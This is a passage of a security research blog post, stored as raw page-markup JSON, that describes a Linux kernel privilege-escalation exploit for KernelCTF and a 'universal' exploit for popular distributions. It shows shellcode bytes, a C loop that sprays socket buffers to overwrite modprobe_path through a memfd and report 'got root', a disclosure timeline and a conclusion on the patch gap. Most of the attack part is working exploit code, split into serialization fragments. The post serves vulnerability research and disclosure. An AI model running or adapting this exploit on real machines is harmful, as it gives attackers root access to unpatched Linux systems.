940],{"type":29,"value":70351},{"type":23,"tag":75,"props":70942,"children":70943},{"style":94},[70944],{"type":29,"value":70293},{"type":23,"tag":75,"props":70946,"children":70947},{"style":209},[70948],{"type":29,"value":7862},{"type":23,"tag":75,"props":70950,"children":70951},{"style":237},[70952],{"type":29,"value":70953}," 0x6a",{"type":23,"tag":75,"props":70955,"children":70956},{"style":94},[70957],{"type":29,"value":611},{"type":23,"tag":75,"props":70959,"children":70960},{"style":1266},[70961],{"type":29,"value":31282},{"type":23,"tag":75,"props":70963,"children":70964},{"style":11688},[70965],{"type":29,"value":70966},"\\x48\\xc7\\xc6",{"type":23,"tag":75,"props":70968,"children":70969},{"style":1266},[70970],{"type":29,"value":31282},{"type":23,"tag":75,"props":70972,"children":70973},{"style":94},[70974],{"type":29,"value":611},{"type":23,"tag":75,"props":70976,"children":70977},{"style":237},[70978],{"type":29,"value":28518},{"type":23,"tag":75,"props":70980,"children":70981},{"style":94},[70982],{"type":29,"value":167},{"type":23,"tag":75,"props":70984,"children":70985},{"style":209},[70986],{"type":29,"value":2469},{"type":23,"tag":75,"props":70988,"children":70989},{"style":237},[70990],{"type":29,"value":240},{"type":23,"tag":75,"props":70992,"children":70993},{"style":209},[70994],{"type":29,"value":63869},{"type":23,"tag":75,"props":70996,"children":70997},{"class":77,"line":881},[70998,71002,71006,71010,71015,71019,71023,71028,71032,71036,71040,71044,71048,71052],{"type":23,"tag":75,"props":70999,"children":71000},{"style":88},[71001],{"type":29,"value":70351},{"type":23,"tag":75,"props":71003,"children":71004},{"style":94},[71005],{"type":29,"value":70293},{"type":23,"tag":75,"props":71007,"children":71008},{"style":209},[71009],{"type":29,"value":7862},{"type":23,"tag":75,"props":71011,"children":71012},{"style":237},[71013],{"type":29,"value":71014}," 0x71",{"type":23,"tag":75,"props":71016,"children":71017},{"style":94},[71018],{"type":29,"value":611},{"type":23,"tag":75,"props":71020,"children":71021},{"style":1266},[71022],{"type":29,"value":31282},{"type":23,"tag":75,"props":71024,"children":71025},{"style":11688},[71026],{"type":29,"value":71027},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":23,"tag":75,"props":71029,"children":71030},{"style":1266},[71031],{"type":29,"value":31282},{"type":23,"tag":75,"props":71033,"children":71034},{"style":94},[71035],{"type":29,"value":611},{"type":23,"tag":75,"props":71037,"children":71038},{"style":237},[71039],{"type":29,"value":29642},{"type":23,"tag":75,"props":71041,"children":71042},{"style":94},[71043],{"type":29,"value":167},{"type":23,"tag":75,"props":71045,"children":71046},{"style":209},[71047],{"type":29,"value":2469},{"type":23,"tag":75,"props":71049,"children":71050},{"style":237},[71051],{"type":29,"value":240},{"type":23,"tag":75,"props":71053,"children":71054},{"style":209},[71055],{"type":29,"value":63869},{"type":23,"tag":75,"props":71057,"children":71058},{"class":77,"line":3355},[71059,71063,71067,71071,71076,71080,71084,71089,71093,71097,71101,71105,71109,71113],{"type":23,"tag":75,"props":71060,"children":71061},{"style":88},[71062],{"type":29,"value":70351},{"type":23,"tag":75,"props":71064,"children":71065},{"style":94},[71066],{"type":29,"value":70293},{"type":23,"tag":75,"props":71068,"children":71069},{"style":209},[71070],{"type":29,"value":7862},{"type":23,"tag":75,"props":71072,"children":71073},{"style":237},[71074],{"type":29,"value":71075}," 0x78",{"type":23,"tag":75,"props":71077,"children":71078},{"style":94},[71079],{"type":29,"value":611},{"type":23,"tag":75,"props":71081,"children":71082},{"style":1266},[71083],{"type":29,"value":31282},{"type":23,"tag":75,"props":71085,"children":71086},{"style":11688},[71087],{"type":29,"value":71088},"\\xff\\xe0",{"type":23,"tag":75,"props":71090,"children":71091},{"style":1266},[71092],{"type":29,"value":31282},{"type":23,"tag":75,"props":71094,"children":71095},{"style":94},[71096],{"type":29,"value":611},{"type":23,"tag":75,"props":71098,"children":71099},{"style":237},[71100],{"type":29,"value":14409},{"type":23,"tag":75,"props":71102,"children":71103},{"style":94},[71104],{"type":29,"value":167},{"type":23,"tag":75,"props":71106,"children":71107},{"style":209},[71108],{"type":29,"value":2469},{"type":23,"tag":75,"props":71110,"children":71111},{"style":237},[71112],{"type":29,"value":240},{"type":23,"tag":75,"props":71114,"children":71115},{"style":94},[71116],{"type":29,"value":653},{"type":23,"tag":75,"props":71118,"children":71119},{"class":77,"line":3390},[71120,71124,71128],{"type":23,"tag":75,"props":71121,"children":71122},{"style":175},[71123],{"type":29,"value":1388},{"type":23,"tag":75,"props":71125,"children":71126},{"style":82},[71127],{"type":29,"value":23713},{"type":23,"tag":75,"props":71129,"children":71130},{"style":94},[71131],{"type":29,"value":245},{"type":23,"tag":75,"props":71133,"children":71134},{"class":77,"line":3423},[71135],{"type":23,"tag":75,"props":71136,"children":71137},{"emptyLinePlaceholder":15},[71138],{"type":29,"value":276},{"type":23,"tag":75,"props":71140,"children":71141},{"class":77,"line":3436},[71142,71146,71150],{"type":23,"tag":75,"props":71143,"children":71144},{"style":175},[71145],{"type":29,"value":355},{"type":23,"tag":75,"props":71147,"children":71148},{"style":82},[71149],{"type":29,"value":20313},{"type":23,"tag":75,"props":71151,"children":71152},{"style":94},[71153],{"type":29,"value":245},{"type":23,"tag":75,"props":71155,"children":71156},{"class":77,"line":3449},[71157],{"type":23,"tag":75,"props":71158,"children":71159},{"style":94},[71160],{"type":29,"value":369},{"type":23,"tag":75,"props":71162,"children":71163},{"class":77,"line":3457},[71164],{"type":23,"tag":75,"props":71165,"children":71166},{"style":94},[71167],{"type":29,"value":21566},{"type":23,"tag":923,"props":71169,"children":71171},{"id":71170},"overwriting-modprobe_path",[71172,71174],{"type":29,"value":71173},"Overwriting ",{"type":23,"tag":71,"props":71175,"children":71177},{"className":71176},[],[71178],{"type":29,"value":69561},{"type":23,"tag":32,"props":71180,"children":71181},{},[71182,71184,71190],{"type":29,"value":71183},"Finding the ",{"type":23,"tag":71,"props":71185,"children":71187},{"className":71186},[],[71188],{"type":29,"value":71189},"/sbin/modprobe",{"type":29,"value":71191}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":23,"tag":32,"props":71193,"children":71194},{},[71195,71197,71203],{"type":29,"value":71196},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":23,"tag":71,"props":71198,"children":71200},{"className":71199},[],[71201],{"type":29,"value":71202},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":29,"value":71204}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":23,"tag":64,"props":71206,"children":71208},{"className":40306,"code":71207,"language":40308,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[71209],{"type":23,"tag":71,"props":71210,"children":71211},{"__ignoreMap":7},[71212,71219,71241,71249,71256,71264,71272,71280,71288,71295,71303,71310,71348,71359,71366,71373,71380,71407,71438,71445,71467,71480,71487,71545,71552,71580,71587,71594,71615,71622,71643,71654,71661,71668,71689,71696,71724,71737,71744,71751,71800,71807,71875,71882,71903,71922,71929,71936,71943,71963],{"type":23,"tag":75,"props":71213,"children":71214},{"class":77,"line":78},[71215],{"type":23,"tag":75,"props":71216,"children":71217},{"style":94},[71218],{"type":29,"value":21566},{"type":23,"tag":75,"props":71220,"children":71221},{"class":77,"line":100},[71222,71227,71232,71237],{"type":23,"tag":75,"props":71223,"children":71224},{"style":94},[71225],{"type":29,"value":71226},"    puts(\"[*] ",{"type":23,"tag":75,"props":71228,"children":71229},{"style":104},[71230],{"type":29,"value":71231},"overwrite",{"type":23,"tag":75,"props":71233,"children":71234},{"style":104},[71235],{"type":29,"value":71236}," modprobe_path",{"type":23,"tag":75,"props":71238,"children":71239},{"style":1266},[71240],{"type":29,"value":67475},{"type":23,"tag":75,"props":71242,"children":71243},{"class":77,"line":121},[71244],{"type":23,"tag":75,"props":71245,"children":71246},{"style":1266},[71247],{"type":29,"value":71248},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":23,"tag":75,"props":71250,"children":71251},{"class":77,"line":138},[71252],{"type":23,"tag":75,"props":71253,"children":71254},{"style":1266},[71255],{"type":29,"value":40383},{"type":23,"tag":75,"props":71257,"children":71258},{"class":77,"line":161},[71259],{"type":23,"tag":75,"props":71260,"children":71261},{"style":1266},[71262],{"type":29,"value":71263},"        pipebuf->page = modprobe_page;\n",{"type":23,"tag":75,"props":71265,"children":71266},{"class":77,"line":196},[71267],{"type":23,"tag":75,"props":71268,"children":71269},{"style":1266},[71270],{"type":29,"value":71271},"        pipebuf->offset = modprobe_off;\n",{"type":23,"tag":75,"props":71273,"children":71274},{"class":77,"line":220},[71275],{"type":23,"tag":75,"props":71276,"children":71277},{"style":1266},[71278],{"type":29,"value":71279},"        pipebuf->len = 0;\n",{"type":23,"tag":75,"props":71281,"children":71282},{"class":77,"line":248},[71283],{"type":23,"tag":75,"props":71284,"children":71285},{"style":1266},[71286],{"type":29,"value":71287},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":23,"tag":75,"props":71289,"children":71290},{"class":77,"line":270},[71291],{"type":23,"tag":75,"props":71292,"children":71293},{"style":1266},[71294],{"type":29,"value":42854},{"type":23,"tag":75,"props":71296,"children":71297},{"class":77,"line":279},[71298],{"type":23,"tag":75,"props":71299,"children":71300},{"style":1266},[71301],{"type":29,"value":71302},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":23,"tag":75,"props":71304,"children":71305},{"class":77,"line":303},[71306],{"type":23,"tag":75,"props":71307,"children":71308},{"style":1266},[71309],{"type":29,"value":42890},{"type":23,"tag":75,"props":71311,"children":71312},{"class":77,"line":322},[71313,71318,71322,71326,71330,71335,71339,71343],{"type":23,"tag":75,"props":71314,"children":71315},{"style":1266},[71316],{"type":29,"value":71317},"                perror(\"",{"type":23,"tag":75,"props":71319,"children":71320},{"style":94},[71321],{"type":29,"value":814},{"type":23,"tag":75,"props":71323,"children":71324},{"style":209},[71325],{"type":29,"value":15602},{"type":23,"tag":75,"props":71327,"children":71328},{"style":94},[71329],{"type":29,"value":13463},{"type":23,"tag":75,"props":71331,"children":71332},{"style":104},[71333],{"type":29,"value":71334},"write",{"type":23,"tag":75,"props":71336,"children":71337},{"style":94},[71338],{"type":29,"value":643},{"type":23,"tag":75,"props":71340,"children":71341},{"style":104},[71342],{"type":29,"value":53129},{"type":23,"tag":75,"props":71344,"children":71345},{"style":94},[71346],{"type":29,"value":71347},")\");\n",{"type":23,"tag":75,"props":71349,"children":71350},{"class":77,"line":340},[71351,71355],{"type":23,"tag":75,"props":71352,"children":71353},{"style":175},[71354],{"type":29,"value":70141},{"type":23,"tag":75,"props":71356,"children":71357},{"style":94},[71358],{"type":29,"value":245},{"type":23,"tag":75,"props":71360,"children":71361},{"class":77,"line":349},[71362],{"type":23,"tag":75,"props":71363,"children":71364},{"style":94},[71365],{"type":29,"value":5022},{"type":23,"tag":75,"props":71367,"children":71368},{"class":77,"line":363},[71369],{"type":23,"tag":75,"props":71370,"children":71371},{"style":94},[71372],{"type":29,"value":2503},{"type":23,"tag":75,"props":71374,"children":71375},{"class":77,"line":656},[71376],{"type":23,"tag":75,"props":71377,"children":71378},{"emptyLinePlaceholder":15},[71379],{"type":29,"value":276},{"type":23,"tag":75,"props":71381,"children":71382},{"class":77,"line":705},[71383,71387,71391,71395,71399,71403],{"type":23,"tag":75,"props":71384,"children":71385},{"style":88},[71386],{"type":29,"value":65801},{"type":23,"tag":75,"props":71388,"children":71389},{"style":94},[71390],{"type":29,"value":643},{"type":23,"tag":75,"props":71392,"children":71393},{"style":209},[71394],{"type":29,"value":1277},{"type":23,"tag":75,"props":71396,"children":71397},{"style":94},[71398],{"type":29,"value":69954},{"type":23,"tag":75,"props":71400,"children":71401},{"style":237},[71402],{"type":29,"value":648},{"type":23,"tag":75,"props":71404,"children":71405},{"style":94},[71406],{"type":29,"value":69963},{"type":23,"tag":75,"props":71408,"children":71409},{"class":77,"line":787},[71410,71414,71419,71423,71428,71433],{"type":23,"tag":75,"props":71411,"children":71412},{"style":88},[71413],{"type":29,"value":66502},{"type":23,"tag":75,"props":71415,"children":71416},{"style":94},[71417],{"type":29,"value":71418},"(fd_path, ",{"type":23,"tag":75,"props":71420,"children":71421},{"style":82},[71422],{"type":29,"value":66512},{"type":23,"tag":75,"props":71424,"children":71425},{"style":94},[71426],{"type":29,"value":71427},"(fd_path), ",{"type":23,"tag":75,"props":71429,"children":71430},{"style":1266},[71431],{"type":29,"value":71432},"\"/proc/%i/fd/%i\"",{"type":23,"tag":75,"props":71434,"children":71435},{"style":94},[71436],{"type":29,"value":71437},", i, modprobe_fd);\n",{"type":23,"tag":75,"props":71439,"children":71440},{"class":77,"line":826},[71441],{"type":23,"tag":75,"props":71442,"children":71443},{"emptyLinePlaceholder":15},[71444],{"type":29,"value":276},{"type":23,"tag":75,"props":71446,"children":71447},{"class":77,"line":834},[71448,71453,71458,71462],{"type":23,"tag":75,"props":71449,"children":71450},{"style":88},[71451],{"type":29,"value":71452},"        lseek",{"type":23,"tag":75,"props":71454,"children":71455},{"style":94},[71456],{"type":29,"value":71457},"(modprobe_fd, ",{"type":23,"tag":75,"props":71459,"children":71460},{"style":237},[71461],{"type":29,"value":648},{"type":23,"tag":75,"props":71463,"children":71464},{"style":94},[71465],{"type":29,"value":71466},", SEEK_SET);\n",{"type":23,"tag":75,"props":71468,"children":71469},{"class":77,"line":881},[71470,71475],{"type":23,"tag":75,"props":71471,"children":71472},{"style":88},[71473],{"type":29,"value":71474},"        dprintf",{"type":23,"tag":75,"props":71476,"children":71477},{"style":94},[71478],{"type":29,"value":71479},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":23,"tag":75,"props":71481,"children":71482},{"class":77,"line":3355},[71483],{"type":23,"tag":75,"props":71484,"children":71485},{"emptyLinePlaceholder":15},[71486],{"type":29,"value":276},{"type":23,"tag":75,"props":71488,"children":71489},{"class":77,"line":3390},[71490,71494,71498,71502,71506,71510,71515,71519,71524,71529,71533,71537,71541],{"type":23,"tag":75,"props":71491,"children":71492},{"style":175},[71493],{"type":29,"value":2445},{"type":23,"tag":75,"props":71495,"children":71496},{"style":94},[71497],{"type":29,"value":183},{"type":23,"tag":75,"props":71499,"children":71500},{"style":88},[71501],{"type":29,"value":71334},{"type":23,"tag":75,"props":71503,"children":71504},{"style":94},[71505],{"type":29,"value":643},{"type":23,"tag":75,"props":71507,"children":71508},{"style":110},[71509],{"type":29,"value":70006},{"type":23,"tag":75,"props":71511,"children":71512},{"style":94},[71513],{"type":29,"value":71514},"[pipe_idx][",{"type":23,"tag":75,"props":71516,"children":71517},{"style":237},[71518],{"type":29,"value":7867},{"type":23,"tag":75,"props":71520,"children":71521},{"style":94},[71522],{"type":29,"value":71523},"], fd_path, ",{"type":23,"tag":75,"props":71525,"children":71526},{"style":237},[71527],{"type":29,"value":71528},"32",{"type":23,"tag":75,"props":71530,"children":71531},{"style":94},[71532],{"type":29,"value":167},{"type":23,"tag":75,"props":71534,"children":71535},{"style":209},[71536],{"type":29,"value":295},{"type":23,"tag":75,"props":71538,"children":71539},{"style":237},[71540],{"type":29,"value":240},{"type":23,"tag":75,"props":71542,"children":71543},{"style":94},[71544],{"type":29,"value":653},{"type":23,"tag":75,"props":71546,"children":71547},{"class":77,"line":3423},[71548],{"type":23,"tag":75,"props":71549,"children":71550},{"style":94},[71551],{"type":29,"value":42854},{"type":23,"tag":75,"props":71553,"children":71554},{"class":77,"line":3436},[71555,71559,71563,71567,71571,71576],{"type":23,"tag":75,"props":71556,"children":71557},{"style":88},[71558],{"type":29,"value":69081},{"type":23,"tag":75,"props":71560,"children":71561},{"style":94},[71562],{"type":29,"value":643},{"type":23,"tag":75,"props":71564,"children":71565},{"style":1266},[71566],{"type":29,"value":31282},{"type":23,"tag":75,"props":71568,"children":71569},{"style":11688},[71570],{"type":29,"value":59567},{"type":23,"tag":75,"props":71572,"children":71573},{"style":1266},[71574],{"type":29,"value":71575},"[-] write(pipe)\"",{"type":23,"tag":75,"props":71577,"children":71578},{"style":94},[71579],{"type":29,"value":15099},{"type":23,"tag":75,"props":71581,"children":71582},{"class":77,"line":3449},[71583],{"type":23,"tag":75,"props":71584,"children":71585},{"style":94},[71586],{"type":29,"value":2503},{"type":23,"tag":75,"props":71588,"children":71589},{"class":77,"line":3457},[71590],{"type":23,"tag":75,"props":71591,"children":71592},{"emptyLinePlaceholder":15},[71593],{"type":29,"value":276},{"type":23,"tag":75,"props":71595,"children":71596},{"class":77,"line":3465},[71597,71601,71605,71610],{"type":23,"tag":75,"props":71598,"children":71599},{"style":175},[71600],{"type":29,"value":2445},{"type":23,"tag":75,"props":71602,"children":71603},{"style":94},[71604],{"type":29,"value":183},{"type":23,"tag":75,"props":71606,"children":71607},{"style":88},[71608],{"type":29,"value":71609},"check_modprobe",{"type":23,"tag":75,"props":71611,"children":71612},{"style":94},[71613],{"type":29,"value":71614},"(fd_path))\n",{"type":23,"tag":75,"props":71616,"children":71617},{"class":77,"line":3473},[71618],{"type":23,"tag":75,"props":71619,"children":71620},{"style":94},[71621],{"type":29,"value":42854},{"type":23,"tag":75,"props":71623,"children":71624},{"class":77,"line":3481},[71625,71630,71634,71639],{"type":23,"tag":75,"props":71626,"children":71627},{"style":88},[71628],{"type":29,"value":71629},"            puts",{"type":23,"tag":75,"props":71631,"children":71632},{"style":94},[71633],{"type":29,"value":643},{"type":23,"tag":75,"props":71635,"children":71636},{"style":1266},[71637],{"type":29,"value":71638},"\"[-] failed to overwrite modprobe\"",{"type":23,"tag":75,"props":71640,"children":71641},{"style":94},[71642],{"type":29,"value":15099},{"type":23,"tag":75,"props":71644,"children":71645},{"class":77,"line":3524},[71646,71650],{"type":23,"tag":75,"props":71647,"children":71648},{"style":175},[71649],{"type":29,"value":14581},{"type":23,"tag":75,"props":71651,"children":71652},{"style":94},[71653],{"type":29,"value":245},{"type":23,"tag":75,"props":71655,"children":71656},{"class":77,"line":4890},[71657],{"type":23,"tag":75,"props":71658,"children":71659},{"style":94},[71660],{"type":29,"value":2503},{"type":23,"tag":75,"props":71662,"children":71663},{"class":77,"line":4937},[71664],{"type":23,"tag":75,"props":71665,"children":71666},{"emptyLinePlaceholder":15},[71667],{"type":29,"value":276},{"type":23,"tag":75,"props":71669,"children":71670},{"class":77,"line":4950},[71671,71675,71679,71684],{"type":23,"tag":75,"props":71672,"children":71673},{"style":175},[71674],{"type":29,"value":2445},{"type":23,"tag":75,"props":71676,"children":71677},{"style":94},[71678],{"type":29,"value":183},{"type":23,"tag":75,"props":71680,"children":71681},{"style":88},[71682],{"type":29,"value":71683},"trigger_modprobe",{"type":23,"tag":75,"props":71685,"children":71686},{"style":94},[71687],{"type":29,"value":71688},"(status_fd))\n",{"type":23,"tag":75,"props":71690,"children":71691},{"class":77,"line":4958},[71692],{"type":23,"tag":75,"props":71693,"children":71694},{"style":94},[71695],{"type":29,"value":42854},{"type":23,"tag":75,"props":71697,"children":71698},{"class":77,"line":4967},[71699,71703,71707,71711,71715,71720],{"type":23,"tag":75,"props":71700,"children":71701},{"style":88},[71702],{"type":29,"value":71629},{"type":23,"tag":75,"props":71704,"children":71705},{"style":94},[71706],{"type":29,"value":643},{"type":23,"tag":75,"props":71708,"children":71709},{"style":1266},[71710],{"type":29,"value":31282},{"type":23,"tag":75,"props":71712,"children":71713},{"style":11688},[71714],{"type":29,"value":59567},{"type":23,"tag":75,"props":71716,"children":71717},{"style":1266},[71718],{"type":29,"value":71719},"[+] got root\"",{"type":23,"tag":75,"props":71721,"children":71722},{"style":94},[71723],{"type":29,"value":15099},{"type":23,"tag":75,"props":71725,"children":71726},{"class":77,"line":4975},[71727,71732],{"type":23,"tag":75,"props":71728,"children":71729},{"style":175},[71730],{"type":29,"value":71731},"            goto",{"type":23,"tag":75,"props":71733,"children":71734},{"style":94},[71735],{"type":29,"value":71736}," out;\n",{"type":23,"tag":75,"props":71738,"children":71739},{"class":77,"line":5016},[71740],{"type":23,"tag":75,"props":71741,"children":71742},{"style":94},[71743],{"type":29,"value":2503},{"type":23,"tag":75,"props":71745,"children":71746},{"class":77,"line":5025},[71747],{"type":23,"tag":75,"props":71748,"children":71749},{"emptyLinePlaceholder":15},[71750],{"type":29,"value":276},{"type":23,"tag":75,"props":71752,"children":71753},{"class":77,"line":5033},[71754,71759,71763,71767,71771,71775,71779,71783,71787,71792,71796],{"type":23,"tag":75,"props":71755,"children":71756},{"style":175},[71757],{"type":29,"value":71758},"        for",{"type":23,"tag":75,"props":71760,"children":71761},{"style":94},[71762],{"type":29,"value":183},{"type":23,"tag":75,"props":71764,"children":71765},{"style":82},[71766],{"type":29,"value":30270},{"type":23,"tag":75,"props":71768,"children":71769},{"style":94},[71770],{"type":29,"value":65728},{"type":23,"tag":75,"props":71772,"children":71773},{"style":209},[71774],{"type":29,"value":212},{"type":23,"tag":75,"props":71776,"children":71777},{"style":237},[71778],{"type":29,"value":240},{"type":23,"tag":75,"props":71780,"children":71781},{"style":94},[71782],{"type":29,"value":62418},{"type":23,"tag":75,"props":71784,"children":71785},{"style":209},[71786],{"type":29,"value":295},{"type":23,"tag":75,"props":71788,"children":71789},{"style":94},[71790],{"type":29,"value":71791}," SKBUF_SPRAY; i",{"type":23,"tag":75,"props":71793,"children":71794},{"style":209},[71795],{"type":29,"value":62454},{"type":23,"tag":75,"props":71797,"children":71798},{"style":94},[71799],{"type":29,"value":653},{"type":23,"tag":75,"props":71801,"children":71802},{"class":77,"line":5041},[71803],{"type":23,"tag":75,"props":71804,"children":71805},{"style":94},[71806],{"type":29,"value":42854},{"type":23,"tag":75,"props":71808,"children":71809},{"class":77,"line":5050},[71810,71814,71818,71823,71827,71832,71837,71841,71846,71850,71854,71859,71863,71867,71871],{"type":23,"tag":75,"props":71811,"children":71812},{"style":175},[71813],{"type":29,"value":4629},{"type":23,"tag":75,"props":71815,"children":71816},{"style":94},[71817],{"type":29,"value":183},{"type":23,"tag":75,"props":71819,"children":71820},{"style":88},[71821],{"type":29,"value":71822},"read",{"type":23,"tag":75,"props":71824,"children":71825},{"style":94},[71826],{"type":29,"value":643},{"type":23,"tag":75,"props":71828,"children":71829},{"style":110},[71830],{"type":29,"value":71831},"sock",{"type":23,"tag":75,"props":71833,"children":71834},{"style":94},[71835],{"type":29,"value":71836},"[i][",{"type":23,"tag":75,"props":71838,"children":71839},{"style":237},[71840],{"type":29,"value":7867},{"type":23,"tag":75,"props":71842,"children":71843},{"style":94},[71844],{"type":29,"value":71845},"], leak, ",{"type":23,"tag":75,"props":71847,"children":71848},{"style":237},[71849],{"type":29,"value":69331},{"type":23,"tag":75,"props":71851,"children":71852},{"style":209},[71853],{"type":29,"value":62440},{"type":23,"tag":75,"props":71855,"children":71856},{"style":237},[71857],{"type":29,"value":71858}," 320",{"type":23,"tag":75,"props":71860,"children":71861},{"style":94},[71862],{"type":29,"value":167},{"type":23,"tag":75,"props":71864,"children":71865},{"style":209},[71866],{"type":29,"value":295},{"type":23,"tag":75,"props":71868,"children":71869},{"style":237},[71870],{"type":29,"value":240},{"type":23,"tag":75,"props":71872,"children":71873},{"style":94},[71874],{"type":29,"value":653},{"type":23,"tag":75,"props":71876,"children":71877},{"class":77,"line":5058},[71878],{"type":23,"tag":75,"props":71879,"children":71880},{"style":94},[71881],{"type":29,"value":42890},{"type":23,"tag":75,"props":71883,"children":71884},{"class":77,"line":5083},[71885,71890,71894,71899],{"type":23,"tag":75,"props":71886,"children":71887},{"style":88},[71888],{"type":29,"value":71889},"                perror",{"type":23,"tag":75,"props":71891,"children":71892},{"style":94},[71893],{"type":29,"value":643},{"type":23,"tag":75,"props":71895,"children":71896},{"style":1266},[71897],{"type":29,"value":71898},"\"[-] read(socket)\"",{"type":23,"tag":75,"props":71900,"children":71901},{"style":94},[71902],{"type":29,"value":15099},{"type":23,"tag":75,"props":71904,"children":71905},{"class":77,"line":5108},[71906,71910,71914,71918],{"type":23,"tag":75,"props":71907,"children":71908},{"style":175},[71909],{"type":29,"value":4981},{"type":23,"tag":75,"props":71911,"children":71912},{"style":209},[71913],{"type":29,"value":62440},{"type":23,"tag":75,"props":71915,"children":71916},{"style":237},[71917],{"type":29,"value":7867},{"type":23,"tag":75,"props":71919,"children":71920},{"style":94},[71921],{"type":29,"value":245},{"type":23,"tag":75,"props":71923,"children":71924},{"class":77,"line":5137},[71925],{"type":23,"tag":75,"props":71926,"children":71927},{"style":94},[71928],{"type":29,"value":5022},{"type":23,"tag":75,"props":71930,"children":71931},{"class":77,"line":5163},[71932],{"type":23,"tag":75,"props":71933,"children":71934},{"style":94},[71935],{"type":29,"value":2503},{"type":23,"tag":75,"props":71937,"children":71938},{"class":77,"line":5172},[71939],{"type":23,"tag":75,"props":71940,"children":71941},{"style":94},[71942],{"type":29,"value":346},{"type":23,"tag":75,"props":71944,"children":71945},{"class":77,"line":5206},[71946,71950,71954,71959],{"type":23,"tag":75,"props":71947,"children":71948},{"style":88},[71949],{"type":29,"value":66690},{"type":23,"tag":75,"props":71951,"children":71952},{"style":94},[71953],{"type":29,"value":643},{"type":23,"tag":75,"props":71955,"children":71956},{"style":1266},[71957],{"type":29,"value":71958},"\"[-] fake modprobe failed\"",{"type":23,"tag":75,"props":71960,"children":71961},{"style":94},[71962],{"type":29,"value":15099},{"type":23,"tag":75,"props":71964,"children":71965},{"class":77,"line":5214},[71966],{"type":23,"tag":75,"props":71967,"children":71968},{"style":94},[71969],{"type":29,"value":21566},{"type":23,"tag":32,"props":71971,"children":71972},{},[71973,71975,71982],{"type":29,"value":71974},"This trick has already been throughly detailed by ",{"type":23,"tag":940,"props":71976,"children":71979},{"href":71977,"rel":71978},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[944],[71980],{"type":29,"value":71981},"lau",{"type":29,"value":71983},", so we won't go much more into it.",{"type":23,"tag":923,"props":71985,"children":71987},{"id":71986},"universal-exploit-demo",[71988],{"type":29,"value":71989},"Universal exploit demo",{"type":23,"tag":32,"props":71991,"children":71992},{},[71993,71995,72001],{"type":29,"value":71994},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":23,"tag":940,"props":71996,"children":71999},{"href":71997,"rel":71998},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[944],[72000],{"type":29,"value":68599},{"type":29,"value":557},{"type":23,"tag":24,"props":72003,"children":72005},{"id":72004},"disclosure-timeline",[72006],{"type":29,"value":72007},"Disclosure Timeline",{"type":23,"tag":27910,"props":72009,"children":72010},{},[72011,72016,72021,72026,72031],{"type":23,"tag":2801,"props":72012,"children":72013},{},[72014],{"type":29,"value":72015},"March 21st -- Patch made public",{"type":23,"tag":2801,"props":72017,"children":72018},{},[72019],{"type":29,"value":72020},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":23,"tag":2801,"props":72022,"children":72023},{},[72024],{"type":29,"value":72025},"March 24th -- Wrote KernelCTF exploit",{"type":23,"tag":2801,"props":72027,"children":72028},{},[72029],{"type":29,"value":72030},"March 26th -- Wrote Universal exploit",{"type":23,"tag":2801,"props":72032,"children":72033},{},[72034],{"type":29,"value":72035},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":23,"tag":32,"props":72037,"children":72038},{},[72039],{"type":29,"value":72040},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":23,"tag":24,"props":72042,"children":72043},{"id":14115},[72044],{"type":29,"value":14118},{"type":23,"tag":32,"props":72046,"children":72047},{},[72048],{"type":29,"value":72049},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":23,"tag":32,"props":72051,"children":72052},{},[72053],{"type":29,"value":72054},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are 